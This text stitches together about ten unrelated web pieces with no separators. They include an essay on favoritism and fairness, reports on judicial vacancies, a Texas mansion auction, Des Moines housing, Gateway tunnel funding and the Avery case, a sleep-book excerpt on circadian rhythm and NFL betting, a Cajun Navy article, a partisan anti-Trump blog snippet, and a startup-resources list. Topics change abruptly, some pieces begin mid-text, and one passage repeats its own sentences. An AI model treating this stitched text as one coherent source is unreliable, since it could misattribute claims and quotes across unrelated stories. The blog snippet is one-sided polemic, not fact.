The contrast of our fairness system with merit-based Chinese preschool is astounding. Imagine your 4-year-old preschooler getting up the nerve to stand in front of her class to tell a story. It's a sweet rite of passage that many children enjoy around the world, and it builds self-esteem and confidence. Now imagine that when your preschooler is finished spinning her yarn, the other children tell her that her story was way too boring. One kid points out that he couldn't understand it, another kid says her voice was much too quiet, another says she paused too many times, and another tells her that her story had a terrible ending. In most schools around the world, this scenario would produce a traumatic and tearful episode, but not so in China, where collective criticism is par for the course—even in preschool.
At Daguan Elementary School, in Kunming, China, this daily gantlet is called the "Story Teller King." American teachers who saw this exercise were horrified by it. But it is indicative of Chinese merit-based culture.
Conservatives and libertarians in the United States tend to like this merit-based view of fairness—the spoils should go to the winners! Liberals say "fairness" when they mean that "all things should be equal." On top of this distinction, there are two kinds of equality pursued under the title of egalitarianism. They are very different but frequently mixed together. Equality of opportunity is one form of egalitarianism, and equality of outcomes is another. The latter, equality of outcomes or shares, is often massaged into policies under the aegis of the former.
The confusion can be seen in the school footrace I've mentioned. Trying to establish the equal opportunity of all kids for athletic activity, schools have mistakenly created an equal-outcomes policy in which all kids are given ribbons for "winning" the race. In this case, the confusion is relatively harmless and the stakes are low. But as children are inculcated with ideas and practices of fairness, these confusions stand as harbingers of things to come.
Instead of trying to harmonize a discordance by transforming favoritism and meritocracy into fairness, we might try a more honest synthesis. A better way to integrate fairness and favoritism for kids is to show how opportunity and outcome are part of a process. Everyone should have equal opportunity to become your friend, but not everyone can be your friend (not everyone can end up as your friend). Anyone should be a candidate for friend status, but few will be admitted to the elite club. Why few? Because favorites (friends) can be created only by spending time together, sharing experiences, and immersing themselves in each other's lives—and time, sadly, is a finite resource.
Treating opportunity and outcome as a process also thwarts the unfounded equation of preference and prejudice. Just because you prefer your favorites does not make you prejudiced. In the case of friendships, for example, kids should be encouraged to fish their friendships from the widest and most diverse pond available (using colorblind, gender-blind, and class-blind criteria), but then the resulting favorites will be a much smaller pool. Being discriminatory in your friendships is prejudiced only if you've prejudged candidates (pre-judicare). Judging after experience (post-judice) is justified preference, not prejudice.
We now begin to appreciate how favoritism flies in the face of both conservative merit-based fairness and liberal equality. In the same way that egalitarianism is no friend of meritocracy, neither is favoritism. Both favoritism and meritocracy are hierarchical and share an antagonism toward fairness, but in every other sense they are strange bedfellows and antagonize each other, too.
My favorites are not the best or most accomplished at this or that. They are not virtuoso human beings. It's my sheer affection for them, my ability to relate to them, and my history with them, that raise their status above other people. Love trumps fairness every time. It says: I don't care if other people are more deserving than you, you're mine and that's why I give you more than anyone else. Ethical philosophies of every stripe—egalitarian, utilitarian, Rawlsian, cosmopolitan—have tried to level people with a grid of uniform impartiality, but our favorites cannot be encapsulated in the grid. They loom too large in our moral geography.
The little prince of Antoine de Saint-Exupéry's classic feels heartbroken when he realizes that his beloved rose is just a common flower—intrinsically equal with all other roses. But then he comes to understand that she is special because he loves her and "because she is my rose." The wise fox enlightens the little prince: "It is the time you have spent on your rose that makes your rose so important." Favoritism and fairness are deeply irreconcilable, and until we figure out how to square that circle, I'm sticking with my favorites.
Enlarge this image toggle caption Jim McKnight/AP Jim McKnight/AP
To understand what's happening with federal judge vacancies, consider this: The Senate voted Monday night to approve the nomination of Robert Bacharach to sit on the federal appeals court based in Denver.
Bacharach had won support from both Republican senators in his home state, and his nomination was approved unanimously. But he still waited more than 260 days for that vote.
Those delays are becoming a source of frustration for White House counsel Kathryn Ruemmler. She says Congress is falling down on its job, leaving close to 90 judgeships, or about 10 percent of the federal judiciary, unfilled. Even candidates who aren't controversial are waiting for months.
"I think the president's message is that this unnecessary and needless delay needs to stop," Ruemmler says. "This is a commitment that the Senate and the president need to make to the American people — that we are going to do what we can to ensure that the third branch of government is fully staffed with the highest quality nominees. And he is doing everything he can in order to ensure that that happens, and he's asking for the Senate to join him in that effort."
But Carrie Severino, the chief counsel at the Judicial Crisis Network, a Republican group that fights left-leaning nominees, says when it comes to judges, the president has only himself to blame. President Obama "hasn't made it a priority in his presidency. He has legislative priorities; he has priorities in terms of really amassing power in the administrative and the executive branch, but hasn't really focused on judicial nominations," she says.
Severino says one result is that Obama ended his first term with more judge vacancies than when he took office back in 2009 — not a bad thing for Severino and her allies.
"From a Republican perspective, we got lucky," Severino says.
But experts who study judge nominations say that could be starting to change. The president has been getting grief from liberal groups about the slow pace on judges. The White House moved to send a bunch of nominees to the Senate last month, the same day Congress reconvened. Included in that batch was Caitlin Halligan, a nominee for the appeals court in Washington, D.C.
White House officials say Halligan waited more than 700 days in the last Congress for a vote on the Senate floor before she was filibustered. Republicans don't like her positions on gay rights and guns. Severino says Halligan could provoke a firestorm all over again this year.
"She's probably the most controversial nominee that the president has thus far. So if he does bring her up, it's going to be a huge fight," Severino adds.
But most of the president's judge nominees generate very little opposition once they finally get a vote.
Russell Wheeler of the Brookings Institution, who studies judicial nominations, says the administration's got a point when it blames the Senate for those long waits.
"It's just taking an awful lot longer to get this done ... and I think that has several consequences," Wheeler says. "Not only does it leave the judgeships vacant. It's got to discourage a lot of people from even wanting to get involved in it."
Vermont Democrat Patrick Leahy, the chairman of the Senate Judiciary Committee, calls the lag times "a prescription for overburdened courts and a federal justice system that does not serve the interests of the American people."
For nominees to the lower courts, there's some room for hope this year. The Senate agreed to limit floor debate on their nominations to two hours, from 30 hours before, which means they're likely to move a little faster this time around. No such deal for appeals court nominees, though, Wheeler says.
"The whole thing is just broken," he says. "And it just is an indication that, frankly, the government can't do basic ministerial work that it has to do. That's what it comes down to."
The second largest estate in Texas, the Champ d’Or, went up for auction June 28. Located in the city of Hickory Creek in Denton County, the estate’s sale is being conducted by Concierge Auctions, a New York City-based real estate auction firm.
The estate was built in 2002 by Alan and Shirley Goldfield at an estimated cost of $52 million. The couple lived on the property for only two years, which left the estate vacant until it was acquired by the Tabini Group, a commercial real estate company, in 2012.
Alan Goldfield was the president of CellStar Corporation and is currently the CEO of the National Auto Center Inc.
“[My wife] wanted to build what she called the greenhouse,” Goldfield said. “I sold a million dollars worth of stock, put aside the money for capital gains, and then gave the rest to her. Out of that came mostly Champ d’Or.”
The estate’s construction was inspired by Vaux-le-Vicomte, a baroque style French chateau located southeast of Paris, France.
“The reason for the mansion – [my wife] loves French, which so do I,” Goldfield said. “Truth is, I had nothing to do with it. She met with the architects [and] the builders.”
Zaf Tabani, CEO and president of the Tabani Group, has lived in the estate since 2012, but is choosing to downsize to move closer to his grandchildren. Tabani is putting the estate up for sale with the aid of Concierge Auctions.
“My current seller (Tabani) bought it via auction through Concierge Auctions five years ago,” said Susan Sacher, the project sales manager at Concierge Auctions. “It’s an outstanding property, and [Tabani] is a very savvy real estate businessman, so I think he saw a good opportunity and was happy to acquire the property at auction.”
In terms of size, Champ d’Or is the second largest in the state, topped by the Crespi-Hicks estate in Dallas. Though Champ d’Or spans 48,000 square feet and Crespi-Hicks 50,000, the difference is negligible.
“Many of the features here are copies of quite authentic things,” said Joan Eleazer, vice president of Sotheby’s International Realty, in a promotional video for the estate. “Beautiful chandeliers that were crafted in Europe, lots of wonderful detail in the mill work, and the paintings throughout the house.”
The materials used in the construction were “the best money could buy,” Goldfield said. The furniture alone cost $5 million and was all imported from France – with the exception of a chandelier, which was from London, England, Goldfield said.
The reason for the short-lived stay at the estate by the Goldfields was its size.
“It was too big! It was just way too big,” Goldfield said.
The estate features a 20 car garage, a bowling alley, racquetball and tennis courts, as well as three fully equipped apartments for guests and staff. It also features an incredibly large ballroom.
“The third floor was the ballroom because she liked to give parties, especially for charity,” Goldfield said. “The ballroom was beautiful, had a catering kitchen, and it was big enough to sit 100 people. Ten tables of 10, leaving room for a 6-8 piece band and the caterers.”
Another possible contributing factor to the estate’s sporadic ownership is its location. Hickory Creek is a pleasant town, but a far cry from the exclusivity typical of neighborhoods housing mansions.
Preston Hollow, the neighborhood in north Dallas where Crespi-Hicks estate is located, has its own newspaper titled Preston Hollow People and nearly all of its residents send their children to private schools. Notable residents include former U.S. President George W. Bush, businessman Mark Cuban, Dirk Nowitzki of the Dallas Mavericks and a litany of other business executives, politicians and celebrities.
Champ d’Or on the other hand is less than a mile from both a mobile home community and a Walmart super-center. While the location has practical benefits, such as the close proximity to Dallas/Fort Worth International Airport, its location is considered abnormal for a luxurious property.
The estate has an extra measure of safety included in its construction.
“Interestingly enough, every window on the front was in bullet proof glass,” Goldfield said. “[It’s] because of the concern that … there’s a few crazies in the world [who] would see such a beautiful thing, and would just shoot at it.”
Goldfield said such an incident never happened.
The estate’s construction budget was $52 million, and the opening bid is expected to begin somewhere between $5.5 to $10 million during its auction. In order to participate in the bidding, a $100,000 fee is required upfront.
“The quality is unsurpassed,” said Eleazer. “That’s one of the things that’s so amazing in this home. It would be difficult to recreate it today.”
Here's a hint: find your way to the sports betting parlor. If you're in luck, the next Monday Night Football game listed on the board will be a matchup pitting a team from the West Coast against a team from the East Coast. For most gamblers, deciding which team to bet on comes down to factors such as hometown loyalty, the trend of the last few games, or which team is on the road. But there's a much easier way to beat the odds: just put money on the team from the West Coast.
Betting tips wouldn't seem to fit in a book about sleep. Yet sleep is the most obvious part of a cycle that affects almost all living things, from quarterbacks in the National Football League to bacteria in the locker-room shower. Living organisms have an innate sense of the length of a day, which isn't all that surprising considering that, for the long history of life on earth, the sun has pretty much run the show. Plants rely on sunlight for energy, while animals have settled into niches based on the span of hours they considered the optimal time to be awake. As a result, somewhere inside the cells of most living things is what amounts to a fairly accurate 24-hour clock, known as the circadian rhythm, which tells an organism when it is time to perform an important activity and when it is time to rest.
The first person to recognize this rhythm was an 18th-century French astronomer named Jean-Jacques d'Ortous de Mairan. Staring at his garden in 1729, he was struck by the fact that his plants extended their leaves in the daytime and then pulled them back at night. He assumed that it was based on sunlight, and he set up a simple experiment to test his theory. He took a bunch of plants down to his wine cellar, where there was no variation of light or temperature between day or night, and recorded the movements of their leaves. Sure enough, the plants continued to open in the morning and close in the evening, even though there was no daylight prodding them. De Mairan realized that the plants were anticipating sunlight rather than responding to it. They had an ingrained sense of when the day started, and they didn't need light to clue them in.
Stanford researchers dug through 25 years of MNF games and flagged every time a West Coast team played an East Coast team. The West Coast teams dominated their East Coast opponents no matter where they played.
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The human body is more like de Mairan's plants than you might expect. The circadian rhythm alters our body temperature and overall alertness level based on the time of day, a process that will make the body continue to stick to the sun's schedule even if it is placed in the equivalent of a wine cellar overnight. Without any help from coffee, most of us tend to perk up around nine o'clock in the morning and stay that way until around two in the afternoon, which is when we start thinking about a nap. Around six in the evening, the body gets another shot of energy that keeps us going until about ten at night. After that, our body temperature starts to fall rapidly, and we get sleepy if we don't turn to coffee or another form of caffeine. Evolutionary biologists don't know exactly why the body operates on this sort of split rhythm, but the best guess is that the early-evening pick-me-up was advantageous to early humans who needed energy to make a fire or find their way back home after a long day of foraging for food.
All of which brings us back to betting on football games. In the middle of the 1990s, a few sleep researchers at Stanford University decided to test a theory. Studies had shown that strength, flexibility, and reaction times surge in the early evening when the circadian rhythm is pulling the body out of the post-lunch funk. Given that subtle effect on an athlete's abilities, it stood to reason that a person at the peak of this alertness cycle would have an unseen advantage over someone whose internal clock thought it was time for bed. What the researchers needed to test their idea was a contest that not only pitted people of similar abilities at different stages of the circadian cycle against each other, but also a data set long enough to show reliable patterns.
They found it in the professional football games played on Monday night, some of the premier events in the NFL. Monday night games always start at 8:30 p.m. Eastern Standard Time, regardless of which teams are playing or which team has to travel. For the league, this guarantees the maximum number of viewers. Diehard football fans on the East Coast will stay up until past midnight if they have to, while sports fans on the West Coast can turn on the TV and watch the game while eating dinner after work.
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The scheduling of Monday Night Football games presents a unique circadian problem, especially if a team from the West Coast is playing a team from the East Coast. Players on the West Coast team are playing at their equivalent of 5:30 p.m., no matter if the game is in Seattle or Miami. Players on the team from the East Coast, meanwhile, are three hours ahead in their own circadian cycles. In nature, this sort of mismatch couldn't happen. It was only in the last 60 years or so that we've developed a way to travel so quickly across time zones that our internal clocks are no longer in sync with the daylight around us. Fitting its cause, we call this condition jet lag.
Without knowing it, athletes on teams from the East Coast are playing at a disadvantage. Because of the circadian rhythm, which they can't control, their bodies are past their natural performance peaks before the first quarter ends. By the fourth quarter, the team from the East Coast will be competing close to its equivalent of midnight. Their bodies will be subtly preparing for sleep by taking steps such as lowering the body temperature, slowing the reaction time, and increasing the amount of melatonin in their bloodstream. Athletes on the team from the West Coast, meanwhile, are still competing in the prime time of their circadian cycle.
Every human body, ranging from a professional athlete to a suburban dad, will experience small declines in physical ability and mental agility the longer it fights against the circadian rhythm. In the modern NFL, this has a significant impact because teams in the league are more evenly matched than those in the other major sports, and anything that alters a single player's ability has an outsized effect on the outcome of the game. What's more, there is little that an East Coast team can do about the circadian disadvantage. The schedule gives coaches few chances to adapt to the time difference. Teams traveling on the road typically fly in the night before the game, and East Coast teams playing at home rarely attempt to put their body clocks on Pacific Standard Time. Coaches instead tell their players not to try to adjust to the time differences, preferring that they keep up with their normal sleep patterns for consistency.
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The Stanford researchers dug through 25 years of Monday night NFL games and flagged every time a West Coast team played an East Coast team. Then, in an inspired move, they compared the final scores for each game with the point spread developed by bookmakers in Vegas. The results were stunning. The West Coast teams dominated their East Coast opponents no matter where they played. A West Coast team won 63 percent of the time, by an average of two touchdowns. The games were much closer when an East Coast team won, with an average margin of victory of only nine points. By picking the West Coast team every time, someone would have beaten the point spread 70 percent of the time. For gamblers in Las Vegas, the matchup was as good as found money.
In a test to ensure that their findings weren't the result of West Coast teams simply being better during those years, the researchers expanded their scope and looked at every Monday Night Football game played during that twenty-five-year time span. They found that the overall winning percentages for West Coast and East Coast teams were essentially even when the teams were not playing a game against an opponent from the other coast. Nor were the results a reflection of home-field advantage. When an East Coast team traveled to another destination within its same time zone, it won 45 percent of the time. But if a team from the East Coast played somewhere in the Pacific time zone, its winning percentage shrunk to only 29 percent.
The circadian advantage—or disadvantage, depending on your perspective–-popped up in studies of figure skaters, rowers, golfers, baseball players, swimmers, and divers. Everywhere you turned, there was evidence of the body's hidden rhythms at work. One study found that in sports as varied as running, weightlifting, and swimming, athletes competing when their bodies experienced the second boost of circadian energy were more likely to break a world record. Long jumpers, for instance, launched themselves nearly 4 percent farther when the body was at its circadian peak. But the circadian rhythm cut both ways. Athletes competing when their circadian rhythm corresponded to the so-called sleep gates—those times in the early afternoon or late nights when it's easy for most people to fall asleep—consistently performed a little worse than normal, even if the slowdown wasn't obvious to them.
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At the back of a nondescript house, the Catholic Workers of Des Moines serve food to those who need it. Tim, who lives in a river encampment several miles away, walked to get here. He’s been homeless for five years, battling an addiction to alcohol and drugs with no insurance and no stable address. The homeless shelters he’s tried to stay at in the city are, according to him, “straight hell on earth”. He spoke of a time he’d bought new pants, went to the shelter to shower, and had them stolen out of the stall while he was showering.
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Tim has tried to get into an affordable housing facility nearby, but with no success. He claimed the facility told him that they no longer had any funding.
Christina, another congregant in the yard, has had a history of homelessness. But unlike Tim, she recently got into an apartment at an affordable housing facility. She described the conditions as “terrible”, but quickly adds that she would never have enough money to move to unsubsidized housing. After listing the ailments that have kept her from working, as well as her problems with Medicaid and social security income, she admits that her housing is better than the alternative, echoing Tim’s sentiments about the area’s homeless shelter.
The number of low income families unable to find or be placed in affordable housing in Des Moines is a growing problem. In fact, it’s even worse than in Brooklyn, New York.
A map recently published by the Urban Institute breaks America’s housing crisis county by county. The gap between the number of affordable units available in Polk County – which includes the city of Des Moines – and low-income families in need of housing is a wide gulf, with just 30 units for every 100 families.
Facebook Twitter Pinterest Data compiled by the Urban Institute on affordable housing across the country. Click the link to interact with the map. Photograph: apps.urban.org
Neighboring Omaha, Nebraska, a city with approximately twice the population, has a slightly better 35 units per 100 families.
Birmingham, Alabama, has roughly the same population size as Des Moines, but has 54 units of affordable housing per 100 low-income families.
Brooklyn has 48 units of affordable housing per 100 low-income families.
This clashes with the idea, disseminated often in a variety of publications, that Des Moines has one of the best quality of life ratings in the country. While this can be true for middle class workers and their families, it obscures the deepening problems that many low-income families in the area face, following a nationwide trend.
From the gravel drive of the Catholic Workers of Des Moines’ house, there’s a direct view of the ever-growing Des Moines skyline, a symbol of the financial and insurance industries that buoys its middle class. Not far to the west lies Hawthorne Hill, a homeless shelter that works to help place the homeless into affordable housing. A single mother is currently living there with her five children, and a sixth child is due in four months. She was nearly placed in a three-bedroom apartment, but it fell through after the landlord found out she was pregnant.
“With her income, we’re cutting it close on her even qualifying for a market-based rental of a three bedroom, so finding a four bedroom will be nearly impossible with her income,” Kiana Hines, the shelter operations manager, said. “We try to only have women stay at the shelter for 60 days and we’re over that limit in trying to find housing for her. And it’s not for her lack of trying or anything like that.”
Facebook Twitter Pinterest The skyline of Des Moines, Iowa. Photograph: Walter Bibikow/Getty Images/AWL Images RM
According to Maya Brennan, a research associate at the Urban Institute, this problem has partially risen out of an unavailability of housing across income levels.
“When there’s not enough housing supply across all of the income band, when there aren’t enough units being built or existing units being preserved, people who earn a higher amount, they often don’t have that next ‘great’ place to move into, so they may be living in a place that doesn’t fully meet their needs,” she said.
An apartment “could have been affordable, to say, a teacher,” she continued, but in a different housing situation with lower rent and higher supply, the same apartment “might have been affordable to a housekeeper”. As a result, “the teacher wishes that something else were available at their income level. So anything that any county can do is relax some of the restrictions that make it more difficult to build more supply, whether it’s affordable or not.”
Another important factor that plays into this crisis is a disparity between income and the cost of housing.
“I think it’s a two-fold issue,” Kiana Hines, program director at the shelter, said. “I think wages are not as high as they could be to support what the rent rates are currently within our city.”
In April, the Republican-controlled state legislature rolled back a planned minimum wage increase for Polk County and took away the power of individual cities and counties to set their own minimum wage, effectively freezing it at $7.25 statewide.
The city of Des Moines did not respond to requests for comment for this article.
For now, organizations advocating for housing access are doing what they can to improve access to affordable housing. The Polk County Housing Trust Fund (PCHTF) is one such advocate. The organization is dedicated to planning and building affordable housing, and receives funding from the state of Iowa. It is measurably successful, but local organizations can only do so much.
“I think the biggest player in the affordable housing issue nationwide is going to have to Department of Housing and Urban Development,” Josh Hellyer, the policy and communications coordinator for PCHTF said. HUD’s own self-defined mission is to “create strong, sustainable, inclusive communities and quality affordable homes for all.” “This is a time when lower income families are feeling a real squeeze on their budget. They’re having to pay for rent, they’re having to pay for medical care and transportation and other costs that are part of everyone’s daily needs”.
Facebook Twitter Pinterest A residential development in west Des Moines, Iowa. Photograph: Alamy
He adds: “the proposed Trump administration cuts to the Department of Housing and Urban Development budget really come at a very inopportune time for those families, but then to cut the housing vouchers that are helping so many extremely low-income households across the country is going to push a lot of families over the brink into homelessness, honestly.”
When asked for comment, the Des Moines division of HUD provided their budget justification to congress, as well as their report on the worst case needs of those they’re trying to serve. According to the Urban Institute, the number of HUD assisted units in Des Moines has fallen from 28 units for every 100 low-income families to just 14 units for every 100 low-income families since 2000.
Air rage: why does flying make us so angry? Science says it's about class Read more
HUD’s current budget of $48.9bn is seemingly inadequate, as evidenced by our nation-wide affordable housing crisis. Donald Trump’s administration has proposed cutting that budget by over $6bn.
Despite the current administration’s desire to reduce their budget, it’s clear that HUD is the only organization capable of addressing the affordable housing crisis, even when addressing problems on a local level.
“When we talk about somebody at the extremely low-income level … they’re working full time in a restaurant job or as a housekeeper at a hotel,” Brennan said. “They’re more likely to need some kind of additional subsidy. The best source is going to be the federal government. Unfortunately, regardless of the politics of the person in office, the federal government has never made housing assistance, even for the very poor, an entitlement.”
Donald Trump, the man who called Bill Clinton before running for President and who has given hundreds of thousands of dollars to Democrat causes, is just another Obama waiting to happen. He made that clear today by declaring Joe Ricketts, the owner of the Cubs, to be on his enemies list for funding Republicans against Trump.
It can’t be any wonder that so many people with swastikas in their Twitter profile pics back Donald Trump. It takes one to know one.
I hear the Rickets family, who own the Chicago Cubs, are secretly spending $'s against me. They better be careful, they have a lot to hide! — Donald J. Trump (@realDonaldTrump) February 22, 2016
You put Donald Trump in charge of the IRS, the Department of Homeland Security, etc. you’re just going to wind up with a more vicious version of Barack Obama. He will not be Republican, but for the highest bidder, which is always himself.
Wanting to silence political free speech is not conservative & threatening critics is not presidential. [cfga.us] https://t.co/ePXBGnzsEb — Club for Growth (@club4growth) February 22, 2016
An enemies list? @realDonaldTrump is channeling his inner Richard Nixon. He’d out-Obama abusing power. https://t.co/XV084awJl8
— Brent Bozell (@BrentBozell) February 22, 2016
These groups draw their name from the region's Cajun people, a significant number of whom are private boat owners and skilled boat pilots. Their boats consist of a number of types, but are typically small vessels such as bass boats, jonboats, air boats, and other small, shallow-draft craft easily transported to flooded areas.
Background [ edit ]
The term Cajun Navy had earlier, unrelated jovial origins before it evolved into its current usage. The earliest documented use of the term occurred in 1964 when outgoing governor Jimmie Davis received "a commission as a commodore in the Cajun Navy plus a four-star pirogue for his personal use" as a going-away gift by the Greater Lafourche Port Commission.[2] It was also used in 1995 by a sub-krewe of the Krewe of Denham Springs as part of the krewe's Mardi Gras parade theme of "And Away We Go."[3] Contemporary usage appears to have been coined in 2005 to describe private boaters who served as volunteer rescuers in New Orleans after Hurricane Katrina; it was apparently used as such by then-Tulane University history professor Douglas Brinkley in a speech, as cited in the Baton Rouge Advocate:[4]
Among the unsung heroes, Brinkley said, are those anonymous boat operators—dubbed the Cajun navy—who navigated their private fishing boats and other vessels through flooded New Orleans to lend a hand after the hurricane hit. The sight of it all made him rethink his view of some laborers. 'I saw guys chain-smoking cigarettes...with tattoos out there saving dozens of lives,' he said in a recent address to the annual meeting of the Council for a Better Louisiana. Brinkley said official rescuers stood to the side, in some cases unable to navigate the streets-turned-waterways that demanded the navigational savvy of natives to the area. — Douglas Brinkley, Tulane University
The term received more currency in 2015, the tenth anniversary of Hurricane Katrina, when commemorative articles in the media referred to the loose organization of south Louisiana boaters. CBS News, for example, reported that year, "Hurricane Katrina killed an estimated 1,800 people, but it could have been far worse if not for what became known as 'The Cajun Navy.' Hundreds of people in hundreds of boats gathered in Lafayette, Louisiana, to rescue thousands trapped by floodwaters..."[5]
Deployments [ edit ]
Hurricane Katrina (2005) [ edit ]
Former Louisiana state senator Nick Gautreaux put out a plea across local television and radio for "Anybody [who] wants to go help the people of New Orleans please come to the Acadiana Mall." Between 350 and 400 boats and people showed up. This makeshift flotilla that became known as the Cajun Navy is credited with rescuing more than 10,000 people from flooded homes and rooftops.[6]
South-central Louisiana flood (2016) [ edit ]
In 2016, major flooding struck south-central Louisiana, resulting in even more attention for the informal rescue organization. "[M]akeshift flotillas popped up across the region over the weekend," observed USA Today during the disaster. "Many are operating under a name familiar in Louisiana: the Cajun Navy."[7] Fortune magazine noted, "In the midst of one of the most severe (yet least-reported) natural disasters in recent history, a homegrown volunteer rescue squad known as the Cajun Navy is providing badly needed relief in flood-ravaged Louisiana."[1] The Baton Rouge Advocate summed up the feelings of many when it wrote: "The heroes hailed from the Cajun Navy, the nickname for an impromptu flotilla of volunteers who had no admiral, no uniforms, no military medals awaiting them for acts of valor. It was conscience, not a commanding officer, that summoned them into treacherous currents to carry endangered citizens to higher ground."[8] The following year, one rescuer recalled ferrying as many as seven people at a time out of flooded Baton Rouge neighborhoods in his 16-foot boat.[9]
Technology was first introduced by one of the boaters in 2016 and played a critical role during the Cajun Navy rescues. At first, people would show up and put their boats in the water without any direction. There was little organization and no way to define which areas had been rescued and which were still in need. One volunteer realized that a couple of mobile phone applications that he used for a game, Zello and Glympse, would be helpful in organizing the rescue attempts. He organized his teammates in the game to come teach boaters and other volunteers how to use the apps for the needed rescues. Eventually, the boaters would be directed by a core group of volunteers who would take requests to be rescued from the Cajun Navy Facebook group page.[10] One volunteer started to gather requests into a Google spreadsheet which was accessible to other volunteers. They vetted the requests by calling phone numbers provided in the posts to the Facebook group page or using Facebook Messenger, then the volunteers used the Zello application to dispatch a nearby boater.[11] Technology was essential to the success of the Cajun Navy.[12] An unknown number of volunteers manned Facebook, using Glympse and Zello to link rescuers with those asking for assistance.
Hurricane Harvey (2017) [ edit ]
In August 2017, the Cajun Navy engaged in rescue operations in response to the major flooding of Southeast Texas by Hurricane Harvey. The Chicago Tribune referred to them "roar[ing] into Pasadena, Texas...in high-clearance pickup trucks with bass boats and pirogues like the Cajun Cavalry, ready to help search and rescue efforts alongside first responders who were inundated with thousands of calls across the region".[13] Cajun Navy groups formed in the year following the Louisiana flooding performed more than 5,000 rescues in Southeast Texas,[14] throughout cities and towns including Houston, Beaumont, Port Arthur, and Vidor.[15][16][17][18][19] Multiple teams acted behind the scenes using social media to organize hundreds of citizens. Volunteers acted as citizen dispatchers, relaying requests for rescue from the Cajun Navy Facebook page to those boaters who could perform the rescue via Zello.[20][21]
Hurricane Irma (2017) [ edit ]
In cooperation with U.S. Senator Marco Rubio, the Cajun Navy agreed to participate in relief efforts for storm surge victims of Hurricane Irma within central and southern Florida, in September 2017.[22]
Hidalgo County flood (2018) [ edit ]
The Cajun Navy assisted victims of flooding in Hidalgo County, Texas.[23]
Hurricane Florence (2018) [ edit ]
In September 2018 the Cajun Navy was activated and sent to New Bern, North Carolina to assist with rescues in the wake of major flooding from Hurricane Florence.[24] They rescued 160 people, many from the tops of their cars and some using air mattresses because the winds were severe enough to topple boats,[25] until local emergency management told them their help was no longer needed because all rescues could be handled by local first responders.[26]
Tropical Storm Gordon (2018) [ edit ]
Also in September 2018, Cajun Navy members were mobilized in anticipation of possible flooding in New Orleans generated by Tropical Storm Gordon.[27]
Future endeavors [ edit ]
Although initially informal groups of rescuers, there have been recent efforts to create a much more organized structure for the Cajun Navy. There are several formal regional groups now, including one of which that was acknowledged by President Donald Trump.[28] These regional groups now include the Scott-based America's Cajun Navy[29] (and its chapters, the Hammond-based Louisiana Cajun Navy[30] and Texas Cajun Navy[31]), the Watson-based Cajun Navy 2016,[28] the Lafayette-based Cajun Navy Acadiana,[32] the New Orleans-based Cajun Navy Relief & Rescue,[33] and the Baton Rouge-based United Cajun Navy.[30]
A letter from a bipartisan group of lawmakers to Transportation Secretary Elaine Chao asked her to support using the Federal Transit Administration's Capital Investment Program, or "New Starts" for Gateway.
Reps. Rodney Frelinghuysen (R-11th Dist.) and Tom MacArthur (R-3rd Dist.) were the only two New Jersey federal lawmakers who did not sign the letter. Both lawmakers support Gateway funding, according to their press secretaries.
Trump's spending plan for the 12 months beginning Oct. 1 would limit funding to those projects with contracts in place. That would exclude Gateway, which is not at that stage.
Trump cuts could derail Gateway
"Gateway is absolutely necessary for the region's core, its absolutely necessary for the Northeast Corridor, it's absolutely necessary for the nation," said U.S. Sen. Robert Menendez (D-N.J.), the top Democrat on the Senate Banking subcommittee that oversees mass transit. "I am seriously worried at least as the president's budget is devised now."
The $20 billion Gateway project would rebuild the Portal Bridge over the Hackensack River and construct two new tubes under the Hudson River for Amtrak and New Jersey Transit trains so that the existing tunnels could be closed to repair damage from Hurricane Sandy.
"It is essential that we advance projects like the Hudson River tunnels and the Portal Bridge north through the pipeline in an expeditious manner, and avoid unnecessary delays and red tape for some of the most important infrastructure projects in the nation," read the Menendez-led letter signed by12 of the state's 14 federal lawmakers, nine Democrats and three Republicans.
One of those who didn't sign, Frelinghuysen, is in a key position to ensure that the money is available as chairman of the House Appropriations Committee, which writes the spending bills funding the federal government, including transportation projects.
Spokesman Steve Wilson said Frelinghuysen helped secure funding for Gateway in the $1.2 trlllion spending bill for this fiscal year that was enacted last month and "certainly will have ample opportunity, and soon, to convey personally his support for the Gateway rail tunnel project directly to Secretary Chao."
MacArthur spokeswoman Camille Gallo said the lawmaker "fully supports the Gateway Project and will be communicating this to Appropriations Chairman Frelinghuysen, along with a host of other budget priorities."
Before Trump was elected, the federal government had agreed to pay half the cost of the project. Despite the budget request, Chao told the Senate Environment and Public Works Committee earlier this month that Gateway was "an absolute priority."
Dan O’Donnell, who covered Steven Avery’s trial and now hosts the popular “Rebutting a Murderer” podcast, told TheWrap last week that everyone involved in the case — including the “Making a Murderer” filmmakers — ignored the possibility that Avery molested his nephew, Dassey. Both Avery and Dassey are serving life sentences, convicted of killing Teresa Halbach.
O’Donnell pointed to a May 2006 phone call in which Dassey told his mother that he had told police Avery “would grab me somewhere where I was uncomfortable.” In his interview with police, Dassey said Avery sometimes tried to grab his penis “through the pants.”
Also Read: 'Making a Murderer' Reporter: Evidence Ignored That Steven Avery Sexually Abused Brendan Dassey
But when Avery was interviewed for the psychological evaluation in November 2006, psychologist Robert H. Gordon concluded that he had not been molested.
“Brendan reported having no history of being physically or sexually abused,” Gordon wrote.
Avery’s lawyer, Kathleen Zellner, strongly denied her client molested his nephew.
“Mr. Avery categorically denies this unsubstantiated allegation,” she said in a statement to TheWrap.
Just as O’Donnell has contended that Dassey may have been manipulated by Avery, Zellner has argued that Dassey was manipulated by police into a false confession. The psychological evaluation said that he was in the “low average” range of intelligence and that he was “nervous and scared” when interviewed by police.
One of the great things about being a retired entrepreneur is that I get to give back to the community that helped me. I assembled this collection of free and almost free tools, class syllabi, presentations, books, lectures, videos in the hope that it can make your path as an entrepreneur or educator easier.
Free:
Startup Tools
If you’re building a startup, the Startup Tools tab on my blog has curated links to hundreds of startup resources. Specific links are:
A list of startup tools is here
Market research tools to help you figure out the size of the opportunity your startup is pursuing, are here
Some of the best advice on founding and running a startup from other smart voices are here
Updates and suggestions for tools I’ve missed are welcomed on the Startup Tools comments page.
The Lean LaunchPad course online
I teach potential founders a hands-on, experiential class called the Lean LaunchPad at Berkeley, Stanford, Columbia and Caltech. The class teaches the three basic skills all entrepreneurs need to know:
Business model design
Customer development
Agile engineering
For my Innovation Corps class for the National Science Foundation it made sense to record the lectures and put them online. In my regular classes I now “flip” the classroom and have my students watch these online lectures as homework and we use the class time for discussion.
The free on-line class, hosted at Udacity is here.
Class Syllabi, My Lecture Slides and Student Presentations
The Slides/Video tab on my blog has all the open source course material for my classes. Specific links are:
Syllabi for all my classes are here
Educators Training Guide is here (it’s part of the Educators Course where we teach how to design a Lean Entrepreneurship Curriculum and how to teach the Lean LaunchPad class – described in the Educators section below.)
Latest presentations posted click here
Stanford presentations, lectures and syllabus here
